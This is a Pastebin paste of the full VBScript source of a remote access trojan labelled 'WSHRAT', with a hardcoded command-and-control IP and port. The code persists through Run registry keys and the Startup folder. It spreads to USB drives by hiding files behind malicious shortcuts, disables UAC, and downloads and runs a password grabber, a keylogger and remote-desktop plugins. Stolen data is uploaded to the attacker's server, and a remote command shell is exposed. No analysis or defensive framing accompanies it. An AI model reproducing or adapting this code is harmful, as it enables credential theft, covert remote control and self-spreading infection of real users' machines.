SHARE
TWEET

Untitled

xrahitel Sep 22nd, 2019 237 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2. host = "185.251.38.91"
  3. port = 5555
  4. installdir = "%temp%"
  5. lnkfile = true
  6. lnkfolder = true
  7.  
  8. '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
  9.  
  10. dim shellobj
  11. set shellobj = wscript.createobject("wscript.shell")
  12. dim filesystemobj
  13. set filesystemobj = createobject("scripting.filesystemobject")
  14. dim httpobj
  15. set httpobj = createobject("msxml2.xmlhttp")
  16.  
  17.  
  18. '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
  19.  
  20. installname = wscript.scriptname
  21. startup = shellobj.specialfolders ("startup") & "\"
  22. installdir = shellobj.expandenvironmentstrings(installdir) & "\"
  23. if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
  24. spliter = "|"
  25. sleep = 5000
  26. dim response
  27. dim cmd
  28. dim param
  29. info = ""
  30. usbspreading = ""
  31. startdate = ""
  32. dim oneonce
  33.  
  34.  
  35. '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
  36. on error resume next
  37.  
  38.  
  39. instance
  40. while true
  41.  
  42. install
  43.  
  44. response = ""
  45. response = post ("is-ready","")
  46. cmd = split (response,spliter)
  47. select case cmd (0)
  48. case "disconnect"
  49.       wscript.quit
  50. case "reboot"
  51.       shellobj.run "%comspec% /c shutdown /r /t 0 /f", 0, TRUE
  52. case "shutdown"
  53.       shellobj.run "%comspec% /c shutdown /s /t 0 /f", 0, TRUE
  54. case "excecute"
  55.       param = cmd (1)
  56.       execute param
  57. case "get-pass"
  58.        passgrabber cmd(1), "cmdv.exe", cmd(2)
  59. case "uninstall"
  60.       uninstall
  61. case "up-n-exec"
  62.       download cmd (1),cmd (2)
  63. case "bring-log"
  64.       upload installdir & "wshlogs\" & cmd (1), "take-log"
  65. case "down-n-exec"
  66.       sitedownloader cmd (1),cmd (2)
  67. case  "filemanager"
  68.       servicestarter cmd(1), "fm-plugin.exe", information()
  69. case  "rdp"
  70.       servicestarter cmd(1), "rd-plugin.exe", information()
  71. case  "keylogger"
  72.       keyloggerstarter cmd(1), "kl-plugin.exe", information(), 0
  73. case  "offline-keylogger"
  74.       keyloggerstarter cmd(1), "kl-plugin.exe", information(), 1
  75. case  "browse-logs"
  76.       post "is-logs", enumfaf(installdir & "wshlogs")
  77. case  "cmd-shell"
  78.       param = cmd (1)
  79.       post "is-cmd-shell",cmdshell (param)
  80. case  "get-processes"
  81.       post "is-processes", enumprocess()
  82. case  "disable-uac"
  83.       if WScript.Arguments.Named.Exists("elevated") = true then
  84.         set oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")
  85.         oReg.SetDwordValue &H80000002,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System","EnableLUA", 0
  86.         oReg.SetDwordValue &H80000002,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System","ConsentPromptBehaviorAdmin", 0
  87.         oReg = nothing
  88.         updatestatus("UAC+Disabled+(Reboot+Required)")
  89.       end if
  90. case  "elevate"
  91.       if WScript.Arguments.Named.Exists("elevated") = false then
  92.         on error resume next
  93.         oneonce.close()
  94.         oneonce = nothing
  95.         WScript.CreateObject("Shell.Application").ShellExecute "wscript.exe", " //B " & chr(34) & WScript.ScriptFullName & chr(34) & " /elevated", "", "runas", 1
  96.         updatestatus("Client+Elevated")
  97.         WScript.quit
  98.       else
  99.         updatestatus("Client+Elevated")
  100.       end if
  101. case  "if-elevate"
  102.       if WScript.Arguments.Named.Exists("elevated") = false then
  103.         updatestatus("Client+Not+Elevated")
  104.       else
  105.         updatestatus("Client+Elevated")
  106.       end if
  107. case  "kill-process"
  108.       exitprocess(cmd(1))
  109. case  "sleep"
  110.       param = cmd (1)
  111.       sleep = eval (param)        
  112. end select
  113.  
  114. wscript.sleep sleep
  115.  
  116. wend
  117.  
  118. sub install
  119. on error resume next
  120. dim lnkobj
  121. dim filename
  122. dim foldername
  123. dim fileicon
  124. dim foldericon
  125.  
  126. upstart
  127. for each drive in filesystemobj.drives
  128.  
  129. if  drive.isready = true then
  130. if  drive.freespace  > 0 then
  131. if  drive.drivetype  = 1 then
  132.     filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
  133.     if  filesystemobj.fileexists (drive.path & "\" & installname)  then
  134.         filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
  135.     end if
  136.     for each file in filesystemobj.getfolder( drive.path & "\" ).Files
  137.         if not lnkfile then exit for
  138.         if  instr (file.name,".") then
  139.             if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
  140.                 file.attributes = 2+4
  141.                 if  ucase (file.name) <> ucase (installname) then
  142.                     filename = split(file.name,".")
  143.                     set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk")
  144.                     lnkobj.windowstyle = 7
  145.                     lnkobj.targetpath = "cmd.exe"
  146.                     lnkobj.workingdirectory = ""
  147.                     lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
  148.                     fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\")
  149.                     if  instr (fileicon,",") = 0 then
  150.                         lnkobj.iconlocation = file.path
  151.                     else
  152.                         lnkobj.iconlocation = fileicon
  153.                     end if
  154.                     lnkobj.save()
  155.                 end if
  156.             end if
  157.         end if
  158.     next
  159.     for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
  160.         if not lnkfolder then exit for
  161.         folder.attributes = 2+4
  162.         foldername = folder.name
  163.         set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk")
  164.         lnkobj.windowstyle = 7
  165.         lnkobj.targetpath = "cmd.exe"
  166.         lnkobj.workingdirectory = ""
  167.         lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
  168.         foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\")
  169.         if  instr (foldericon,",") = 0 then
  170.             lnkobj.iconlocation = folder.path
  171.         else
  172.             lnkobj.iconlocation = foldericon
  173.         end if
  174.         lnkobj.save()
  175.     next
  176. end If
  177. end If
  178. end if
  179. next
  180. err.clear
  181. end sub
  182.  
  183. sub uninstall
  184. on error resume next
  185. dim filename
  186. dim foldername
  187.  
  188. shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
  189. shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
  190. filesystemobj.deletefile startup & installname ,true
  191. filesystemobj.deletefile wscript.scriptfullname ,true
  192.  
  193. for  each drive in filesystemobj.drives
  194. if  drive.isready = true then
  195. if  drive.freespace  > 0 then
  196. if  drive.drivetype  = 1 then
  197.     for  each file in filesystemobj.getfolder ( drive.path & "\").files
  198.          on error resume next
  199.          if  instr (file.name,".") then
  200.              if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
  201.                  file.attributes = 0
  202.                  if  ucase (file.name) <> ucase (installname) then
  203.                      filename = split(file.name,".")
  204.                      filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
  205.                  else
  206.                      filesystemobj.deletefile (drive.path & "\" & file.name)
  207.                  end If
  208.              else
  209.                  filesystemobj.deletefile (file.path)
  210.              end if
  211.          end if
  212.      next
  213.      for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
  214.          folder.attributes = 0
  215.      next
  216. end if
  217. end if
  218. end if
  219. next
  220. wscript.quit
  221. end sub
  222.  
  223. function post (cmd ,param)
  224.  
  225. post = param
  226. httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
  227. httpobj.setrequestheader "user-agent:",information
  228. httpobj.send param
  229. post = httpobj.responsetext
  230. end function
  231.  
  232. function information
  233. on error resume next
  234. if  inf = "" then
  235.     inf = hwid & spliter
  236.     inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter
  237.     inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
  238.  
  239.     set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  240.     set os = root.execquery ("select * from win32_operatingsystem")
  241.     for each osinfo in os
  242.        inf = inf & osinfo.caption & spliter  
  243.        exit for
  244.     next
  245.     inf = inf & "plus" & spliter
  246.     inf = inf & security & spliter
  247.     inf = inf & usbspreading
  248.     information = "WSHRAT" & spliter & inf & spliter & "Visual Basic"
  249. else
  250.     information = inf
  251. end if
  252. end function
  253.  
  254.  
  255. sub upstart ()
  256. on error resume Next
  257.  
  258. shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
  259. shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
  260. filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
  261. filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
  262.  
  263. end sub
  264.  
  265.  
  266. function hwid
  267. on error resume next
  268.  
  269. set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  270. set disks = root.execquery ("select * from win32_logicaldisk")
  271. for each disk in disks
  272.     if  disk.volumeserialnumber <> "" then
  273.         hwid = disk.volumeserialnumber
  274.         exit for
  275.     end if
  276. next
  277. end function
  278.  
  279.  
  280. function security
  281. on error resume next
  282.  
  283. security = ""
  284.  
  285. set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  286. set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
  287. for each objitem in colitems
  288.     versionstr = split (objitem.version,".")
  289. next
  290. versionstr = split (colitems.version,".")
  291. osversion = versionstr (0) & "."
  292. for  x = 1 to ubound (versionstr)
  293.      osversion = osversion &  versionstr (i)
  294. next
  295. osversion = eval (osversion)
  296. if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
  297.  
  298. set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
  299. Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
  300.  
  301. for each objantivirus in colantivirus
  302.     security  = security  & objantivirus.displayname & " ."
  303. next
  304. if security  = "" then security  = "nan-av"
  305. end function
  306.  
  307. function instance
  308. on error resume next
  309.  
  310. usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
  311. if usbspreading = "" then
  312.    if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
  313.       usbspreading = "true - " & date
  314.       shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
  315.    else
  316.       usbspreading = "false - " & date
  317.       shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
  318.  
  319.    end if
  320. end If
  321.  
  322. upstart
  323. set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
  324. set installfullnameshort =  filesystemobj.getfile (installdir & installname)
  325. if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then
  326.     shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
  327.     wscript.quit
  328. end If
  329. err.clear
  330. set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
  331. if  err.number > 0 then wscript.quit
  332. end function
  333.  
  334. sub passgrabber (fileurl, filename, retcmd)
  335. on error resume next
  336. shellobj.run "%comspec% /c taskkill /F /IM " & filename, 0, true
  337. filesystemobj.deleteFile(installdir & filename & "data")
  338. config_file = installdir & mid(filename, 1, instrrev(filename, ".")) & ".cfg"
  339. cfg = "[General]" & vbcrlf & "ShowGridLines=0" & vbcrlf & "SaveFilterIndex=0" & vbcrlf & "ShowInfoTip=1" & vbcrlf & "UseProfileFolder=0" & vbcrlf & "ProfileFolder=" & vbcrlf & "MarkOddEvenRows=0" & vbcrlf & "WinPos=2C 00 00 00 00 00 00 00 01 00 00 00 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 00 00 00 00 00 00 00 00 80 02 00 00 E0 01 00 00" & vbcrlf & "Columns=FA 00 00 00 FA 00 01 00 6E 00 02 00 6E 00 03 00 78 00 04 00 78 00 05 00 78 00 06 00 64 00 07 00 FA 00 08 00" & vbcrlf & "Sort=0"
  340. 'write config
  341. set writer = filesystemobj.openTextFile(config_file, 2, true)
  342. writer.writeLine(cfg)
  343. writer.close()
  344. set writer = nothing
  345.  
  346. strlink = fileurl
  347. strsaveto = installdir & filename
  348.  
  349. set objhttpdownload = createobject("msxml2.xmlhttp" )
  350. objhttpdownload.open "get", strlink, false
  351. objhttpdownload.setRequestHeader "cache-control:", "max-age=0"
  352. objhttpdownload.send
  353.  
  354. set objfsodownload = createobject ("scripting.filesystemobject")
  355. if  objfsodownload.fileexists (strsaveto) then
  356.     objfsodownload.deletefile (strsaveto)
  357. end if
  358.  
  359. if objhttpdownload.status = 200 then
  360.    dim  objstreamdownload
  361.    set  objstreamdownload = createobject("adodb.stream")
  362.    with objstreamdownload
  363.         .type = 1
  364.         .open
  365.         .write objhttpdownload.responsebody
  366.         .savetofile strsaveto
  367.         .close
  368.    end with
  369.    set objstreamdownload = nothing
  370. end if
  371. if objfsodownload.fileexists(strsaveto) then
  372.    set runner = CreateObject("Shell.Application")
  373.    saver = objfsodownload.getFile(strsaveto).shortPath
  374.    runner.shellexecute saver, " /stext " & saver & "data"
  375.    wscript.sleep(2000)
  376.    deletefaf(strsaveto)
  377.    upload saver & "data", retcmd
  378. end if
  379. end sub
  380.  
  381. sub keyloggerstarter (fileurl, filename, filearg, is_offline)
  382. shellobj.run "%comspec% /c taskkill /F /IM " & filename, 0, true
  383. strlink = fileurl
  384. strsaveto = installdir & filename
  385. set objhttpdownload = createobject("msxml2.xmlhttp" )
  386. objhttpdownload.open "get", strlink, false
  387. objhttpdownload.setrequestheader "cache-control:", "max-age=0"
  388. objhttpdownload.send
  389.  
  390. set objfsodownload = createobject ("scripting.filesystemobject")
  391. if  objfsodownload.fileexists (strsaveto) then
  392.     objfsodownload.deletefile (strsaveto)
  393. end if
  394.  
  395. if objhttpdownload.status = 200 then
  396.    dim  objstreamdownload
  397.    set  objstreamdownload = createobject("adodb.stream")
  398.    with objstreamdownload
  399.         .type = 1
  400.         .open
  401.         .write objhttpdownload.responsebody
  402.         .savetofile strsaveto
  403.         .close
  404.    end with
  405.    set objstreamdownload = nothing
  406. end if
  407. if objfsodownload.fileexists(strsaveto) then
  408.    shellobj.run chr(34) & strsaveto & chr(34) & " " & host & " " & port & " " & chr(34) & filearg & chr(34) & " " & is_offline
  409. end if
  410. end sub
  411.  
  412. sub servicestarter (fileurl, filename, filearg)
  413. shellobj.run "%comspec% /c taskkill /F /IM " & filename, 0, true
  414. strlink = fileurl
  415. strsaveto = installdir & filename
  416. set objhttpdownload = createobject("msxml2.xmlhttp" )
  417. objhttpdownload.open "get", strlink, false
  418. objhttpdownload.setrequestheader "cache-control:", "max-age=0"
  419. objhttpdownload.send
  420.  
  421. set objfsodownload = createobject ("scripting.filesystemobject")
  422. if  objfsodownload.fileexists (strsaveto) then
  423.     objfsodownload.deletefile (strsaveto)
  424. end if
  425.  
  426. if objhttpdownload.status = 200 then
  427.    dim  objstreamdownload
  428.    set  objstreamdownload = createobject("adodb.stream")
  429.    with objstreamdownload
  430.         .type = 1
  431.         .open
  432.         .write objhttpdownload.responsebody
  433.         .savetofile strsaveto
  434.         .close
  435.    end with
  436.    set objstreamdownload = nothing
  437. end if
  438. if objfsodownload.fileexists(strsaveto) then
  439.    shellobj.run chr(34) & strsaveto & chr(34) & " " & host & " " & port & " " & chr(34) & filearg & chr(34)
  440. end if
  441. end sub
  442.  
  443. sub sitedownloader (fileurl,filename)
  444.  
  445. strlink = fileurl
  446. strsaveto = installdir & filename
  447. set objhttpdownload = createobject("msxml2.serverxmlhttp" )
  448. objhttpdownload.open "get", strlink, false
  449. objhttpdownload.setrequestheader "cache-control", "max-age=0"
  450. objhttpdownload.send
  451.  
  452. set objfsodownload = createobject ("scripting.filesystemobject")
  453. if  objfsodownload.fileexists (strsaveto) then
  454.     objfsodownload.deletefile (strsaveto)
  455. end if
  456.  
  457. if objhttpdownload.status = 200 then
  458.    dim  objstreamdownload
  459.    set  objstreamdownload = createobject("adodb.stream")
  460.    with objstreamdownload
  461.         .type = 1
  462.         .open
  463.         .write objhttpdownload.responsebody
  464.         .savetofile strsaveto
  465.         .close
  466.    end with
  467.    set objstreamdownload = nothing
  468. end if
  469. if objfsodownload.fileexists(strsaveto) then
  470.    shellobj.run objfsodownload.getfile (strsaveto).shortpath
  471.    updatestatus("Executed+File")
  472. end if
  473. end sub
  474.  
  475. sub download (fileurl,filedir)
  476. if filedir = "" then
  477.    filedir = installdir
  478. end if
  479.  
  480. strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
  481. set objhttpdownload = createobject("msxml2.xmlhttp")
  482. objhttpdownload.open "post","http://" & host & ":" & port &"/" & "send-to-me" & spliter & fileurl, false
  483. objhttpdownload.setrequestheader "user-agent:",information
  484. objhttpdownload.send ""
  485.      
  486. set objfsodownload = createobject ("scripting.filesystemobject")
  487. if  objfsodownload.fileexists (strsaveto) then
  488.     objfsodownload.deletefile (strsaveto)
  489. end if
  490. if  objhttpdownload.status = 200 then
  491.     dim  objstreamdownload
  492.     set  objstreamdownload = createobject("adodb.stream")
  493.     with objstreamdownload
  494.          .type = 1
  495.          .open
  496.          .write objhttpdownload.responsebody
  497.          .savetofile strsaveto
  498.          .close
  499.     end with
  500.     set objstreamdownload  = nothing
  501. end if
  502. if objfsodownload.fileexists(strsaveto) then
  503.    shellobj.run objfsodownload.getfile (strsaveto).shortpath
  504.    updatestatus("Executed+File")
  505. end if
  506. end sub
  507.  
  508. function updatestatus(status_msg)
  509.     set objsoc = createobject("msxml2.xmlhttp")
  510.     objsoc.open "post","http://" & host & ":" & port &"/" & "update-status" & spliter & status_msg, false
  511.     objsoc.setrequestheader "user-agent:",information
  512.     objsoc.send ""
  513.  
  514. end function
  515.  
  516. function upload (fileurl, retcmd)
  517.  
  518. dim  httpobj,objstreamuploade,buffer
  519. set  objstreamuploade = createobject("adodb.stream")
  520. with objstreamuploade
  521.      .type = 1
  522.      .open
  523.      .loadfromfile fileurl
  524.      buffer = .read
  525.      .close
  526. end with
  527. set objstreamdownload = nothing
  528. set httpobj = createobject("msxml2.xmlhttp")
  529. httpobj.open "post","http://" & host & ":" & port &"/" & retcmd, false
  530. httpobj.setrequestheader "user-agent:",information
  531. httpobj.send buffer
  532. end function
  533.  
  534.  
  535. sub deletefaf (url)
  536. on error resume next
  537.  
  538. filesystemobj.deletefile url
  539. filesystemobj.deletefolder url
  540.  
  541. end sub
  542.  
  543. function cmdshell (cmd)
  544. dim httpobj,oexec,readallfromany
  545. strsaveto = installdir & "out.txt"
  546. shellobj.run "%comspec% /c " & cmd & " > " & chr(34) & strsaveto & chr(34), 0, true
  547. readallfromany = filesystemobj.opentextfile(strsaveto).readall()
  548. filesystemobj.deletefile strsaveto
  549.  
  550. cmdshell = readallfromany
  551. end function
  552.  
  553.  
  554. function enumprocess()
  555. on error resume next
  556.  
  557. set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
  558. set colitems = objwmiservice.execquery("select * from win32_process",,48)
  559.  
  560. dim objitem
  561. for each objitem in colitems
  562.     enumprocess = enumprocess & objitem.name & "^"
  563.     enumprocess = enumprocess & objitem.processid & "^"
  564.     enumprocess = enumprocess & objitem.executablepath & spliter
  565. next
  566. end function
  567.  
  568. sub exitprocess (pid)
  569. on error resume next
  570.  
  571. shellobj.run "taskkill /F /T /PID " & pid,0,true
  572. end sub
  573.  
  574. function getParentDirectory(path)
  575.     set fo = filesystemobj.GetFile(path)
  576.     getParentDirectory = filesystemobj.getparentfoldername(fo)
  577. end function
  578.  
  579. function enumfaf (enumdir)
  580.  
  581. 'enumfaf = enumdir & spliter
  582. for  each folder in filesystemobj.getfolder (enumdir).subfolders
  583.      enumfaf = enumfaf & folder.name & "^" & "" & "^" & "d" & "^" & folder.attributes & spliter
  584. next
  585.  
  586. for  each file in filesystemobj.getfolder (enumdir).files
  587.      enumfaf = enumfaf & file.name & "^" & file.size  & "^" & file.attributes & spliter
  588. next
  589. end function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top